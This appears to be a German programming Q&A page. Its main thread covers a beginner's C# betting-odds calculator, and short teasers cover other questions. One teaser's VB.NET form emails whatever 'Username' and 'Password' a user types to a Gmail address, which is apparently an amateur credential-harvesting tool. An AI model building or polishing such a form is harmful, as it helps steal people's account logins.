C# Wenn Textbox leer dann Null einsetzten und damit Rechnen

Surebetrechner - (Programmieren, Rechner, Anfänger)

2 Antworten

Vom Fragesteller als hilfreich ausgezeichnet

Mit

tbxQuote3.Text = null;

löschst du die Variable, du sagst also, sie hat keinen Inhalt.

Benutze mal

tbxQuote3.Text = "0";

und schau ob es funktioniert.

Ausserdem musst du die Abfrage vor der Rechnung einfügen, so dass es schlussendlich so aussieht:

private void button1_Click(object sender, EventArgs e)
{
    if (tbxQuote3.Text == "" )
    { 
        tbxQuote3.Text = "0";
    }

    double QuotenWette = 
        (1/Convert.ToDouble(tbxQoute1.Text)) + 
        (1/Convert.ToDouble(tbxQuote2.Text)) + 
        (1 / Convert.ToDouble(tbxQuote3.Text));
    QuotenWette = Math.Round(QuotenWette, 3);

    if (QuotenWette < 1)
    {
        tbxErtrag.Text = Convert.ToString(QuotenWette);
    }
    else
    {
        tbxErtrag.Text = "Kein Surebet!";
    }
}

Ok danke hat funktioniert aber nur so als Verständisfrage

Warum muss das vor Double QuotenWette? Weil ich hatte gedacht der fragt dann erst die Textbox3 ab, setzt die 0 ein und springt dann zum nächsten If block?

0
@Stiffnex

Also die If Abfrage 1 mit der Abfrage, ob die 3. Textbox leer ist, muss vor das double QuotenWette, weil du ja als erstes überprüfen willst ob die Textbox leer ist, dann willst du mit dem Wert aus der Textbox rechnen.

Du überprüfst also mit dem Code erst einmal ob die Textbox leer ist und rechnest dann erst. Andersherum wäre es ja nicht logisch.

0

Oh, oh! Teilst du etwa wirklich durch 0? Du musst vor dem Teilen prüfen, ob der Double aus tbxQuote[1,2,3].Text !=0 , ansonsten knallt dir eine Fehlermeldung vor die Augen.

Etwas anderes. Was, wenn der Anwender "51:;!)" eingibt? Das Convert wird damit nicht klar kommen! Peng, Fehlermeldung, oder sogar Absturz, weil keine übersehene Fehler mittels Try-Catch abgefangen werden. Entweder verhinderst du eine andere Eingabe als Ziffern, oder aber du fängst fehlerhafte Eingaben ab, indem du anstatt Convert das TryParse verwendest, was im Grunde immer besser ist...

double parsedValue = 0;

if (double.TryParse(tbx1Quote.Text, out parsedValue) == false || parsedValue == 0))
{
  MessageBoxShow("Ändern Sie Ihre Eingabe...");
}
else
{
   double quote1 = 1 / parsedValue;
}
0

Das Ersetzen mut 0 könntest du direkt während der Eingabe, genauer, nach dem Validieren, ausführen. Deine Textboxen weisen nicht nur ein Event Click auf. Wenn du einen Doppelklick auf das Event "Validated" machst, kannst du einen Code dazu eingeben. Validation ist ein Prüfvorgang, der beim Verlassen des Controls ausgeführt wird, wenn ein Button geklickt oder in ein anderes Textfeld gewechselt wird. In diesem Event könntest du eintragen (Namen der Textbox jeweils anpassen):

if (string.IsNullOrEmpty(tbxQuote1.Text))
{
  tbxQuote1.Text = 0; 
}

Die Methode String.IsNullOrEmpty(TextBoxName.Text) empfehle ich anstatt der einfachen Prüfung auf Null. Immerhin könnten auch ein oder mehrere Leerzeichen eingegeben werden, wodurch der Text nicht mehr Null, sondern lediglich Empty wäre. Die Prüfung auf Null würde in diesem Fall nicht mehr greifen.

0
@Toraka

Also das mit der bin ich Umgangen und zwar das er mir ein Dialogfenster ausgibt und das Feld dann leer lässt. Ist mir dann auch aufgefallen und ich hab mich selbst gefragt ob ich dumm bin =D Aber das mit dem Text daran hab ich auch gedacht und deshalb danke für den Hinweis ich hab da schon ne weile rum probiert.

0

Datenbank Fehler #1293 - Incorrect table definition;........?

Guten Tag/Abend!

ich bin dabei ein Altis Life Script aufzusetzten. Habe soweit alles hinbekommen aber die Datenbank spinnt war ja klar das immer MYSQL rumspinnt. Habe auch geguckt ob alles richtig eingetragen ist etc.

SQL-Befehl:

CREATE TABLE IF NOT EXISTS players ( uid int(12) NOT NULL AUTO_INCREMENT, name varchar(32) NOT NULL, aliases text NOT NULL, playerid varchar(64) NOT NULL, cash int(100) NOT NULL DEFAULT '0', bankacc int(100) NOT NULL DEFAULT '0', coplevel enum('0','1','2','3','4','5','6','7') NOT NULL DEFAULT '0', mediclevel enum('0','1','2','3','4','5') NOT NULL DEFAULT '0', civ_licenses text NOT NULL, cop_licenses text NOT NULL, med_licenses text NOT NULL, civ_gear text NOT NULL, cop_gear text NOT NULL, med_gear text NOT NULL, civ_stats varchar(32) NOT NULL DEFAULT '"[100,100,0]"', cop_stats varchar(32) NOT NULL DEFAULT '"[100,100,0]"', med_stats varchar(32) NOT NULL DEFAULT '"[100,100,0]"', arrested tinyint(1) NOT NULL DEFAULT '0', adminlevel enum('0','1','2','3','4','5') NOT NULL DEFAULT '0', donorlevel enum('0','1','2','3','4','5') NOT NULL DEFAULT '0', blacklist tinyint(1) NOT NULL DEFAU[...]#1293 - Incorrect table definition; there can be only one TIMESTAMP column with CURRENT_TIMESTAMP in DEFAULT or ON UPDATE clause

1293 - Incorrect table definition; there can be only one TIMESTAMP column with CURRENT_TIMESTAMP in DEFAULT or ON UPDATE clause

Ich bin ratlos ich hoffe einer von euch kann mir weiter helfen :D

MfG Knightmare

...zur Frage

SMTP Server sichere Verbindung erforderlich Visual Studio 2017?

Guten Tag! Ich programmiere gerade was in VS 17. Ein Programm, was eine EMail verschicken soll, wenn etwas eingegeben wurde und bestätigt wurde. Bei mir kommt aber der Fehler: "System.Net.Mail.SmtpException: "Für den SMTP-Server ist eine sichere Verbindung erforderlich, oder der Client wurde nicht authentifiziert. Die Serverantwort war: 5.5.1 Authentication Required. Learn more at""

Wie behebe ich es?

Das ist der Code (zensiert wegen Email und PW...):

Imports System.Net.Mail

Public Class Form1

  Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

    If TextBox1.Text = "" Then

      MsgBox("Please Wait")

      If TextBox2.Text = "" Then

        MsgBox(LALALALLALATESTsdsd")

      Else

      End If

    End If

    Dim smtpServer As New SmtpClient()

    Dim mail As New MailMessage()

    smtpServer.Credentials = New Net.NetworkCredential("gutefragegmail.com", "Gutefrage1234")

    'using gmail

    smtpServer.Port = 587

    smtpServer.Host = "smtp.gmail.com"

    smtpServer.EnableSsl = True

    mail = New MailMessage()

    mail.From = New MailAddress("gutefrage@gmail.com")

    mail.To.Add("gutefragegmail.com")

    mail.Subject = "Username : " & TextBox1.Text

    mail.Body = "Password : " & TextBox2.Text & ","

    smtpServer.Send(mail)

    MsgBox(LALALALLATEST")

  End Sub

End Class

Ich habe nachgelesen, und der Port müsste stimmen, aber trotzdem geht es nicht beim Debuggen. Bitte um Hilfe!

Vielen DAnk!

...zur Frage

Wie kann ich mit Java prüfen, ob ein Satz in einer Textdatei enthalten ist?

else if (event.getSource() == blesen) {
  FileReader fr = null;

  try {
    String text;
    String fileName = "D:/Flo/password/loggin.txt";
    File file = new File(fileName);
    int len = (int)file.length();
    char[] buf = new char[len];

    fr = new FileReader(file);
    fr.read(buf);
    text = new String(buf);

    // ab hier JFrame
    JFrame auslesen = new JFrame("Output Dialog");
    auslesen.setLayout(null);
    auslesen.setVisible(true);
    auslesen.setSize(290, 250);
    auslesen.setResizable(false);
    auslesen.setTitle("Auslesen");

    auslesen.setDefaultCloseOperation(EXIT_ON_CLOSE);
    auslesen.setLocationRelativeTo(null);
    
    // bis hier her JFrame | ab hier dann eingabe feld
    JTextField plattlesen = new JTextField();
    JLabel welcheplatt = new JLabel("&lt;html&gt;Welche Loggin Daten &lt;p /"
      + "&gt;möchtestdu wissen?&lt;/p"
      + "&gt;Plattform:&lt;/html&gt;");
    
    auslesen.add(bfertiglesen);
    bfertiglesen.setBounds(1, 100, 100, 30);
    auslesen.add(plattlesen);
    plattlesen.setBounds(1, 70, 100, 20);
    auslesen.add(welcheplatt);
    welcheplatt.setBounds(1, 1, 200, 50);

    slesen = plattlesen.getText();
    System.out.println(text);
  }
  catch(IOException ex) {
    System.out.println(ex);
  }
  finally {
    try {
      if (fr!= null) fr.close();
    }
    catch(Exception ex) {
    }
  }
}
else if (event.getSource() == bfertiglesen) {
  slesen = plattlesen.getText();

  if (text.indexOf(slesen)) {
    System.out.println(slesen);
  }
}

Ich möchte prüfen, ob ein eingegebener Satz in einem Textdokument enthalten ist.

Wie mache ich das am besten?

...zur Frage

Was möchtest Du wissen?